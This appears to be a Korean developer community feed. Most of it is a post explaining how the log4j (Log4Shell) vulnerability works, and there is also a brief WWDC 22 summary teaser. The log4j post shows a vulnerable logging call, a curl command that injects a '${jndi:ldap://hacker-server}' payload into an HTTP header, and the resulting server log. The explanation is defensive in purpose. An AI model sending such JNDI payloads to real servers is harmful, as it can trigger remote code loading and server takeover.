DownloadLoginSign Up
Click to apply the changed page
개발자들이 좋아하는 소식을 나눠봐요 👨🏻‍💻
Created at10 25, 2021
#밈 mentioned
WWDC 22 요약
지난밤 있었던 WWDC의 키노트 내용 정리입니다.
영상을 더 좋아하시는 분들은 아... more
2 comments
#IT소식 mentioned
log4j 취약점 작동원리와 확인 방법
블로그내 내용의 요약 복붙 입니다.
현재 발생하고 있는 문제의 원인은 log4가 로그를 출력할 때 로그에 사용자ID 등이 있을때 자동으로 내부에서 운영중인 LDAP 서버 등에 접속을 해서 변환하는 기능을 제공하는데 이 기능을 이용하면 해커의 서버로 접속해서 해커가 만든 악성 코드를 서버로 다운로드 받게 하고 이 코드를 이용해서 서버를 탈취할 수 있게 됩니다.
예를 들어 로그를 남길때 다음과 같이 남긴다고 하면
log.info(“Request User Agent:{}“, request.getHeader(“X-Api-Version”));
해커가 악의적으로 HTTP 의 header의 X-Api-Version 값에 해커의 주소로 설정한 다음 요청을 보내면 위와 같은 동작원리에 의해 해커 서버로 요청이 전송되는 방식입니다.
curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://hacker-server}’
서버의 log4j로그를 보면 다음과 같은 로그가 남아 있습니다.
2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header ‘X-Api-Version’ for method parameter type String is not present]
2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
Let's chat!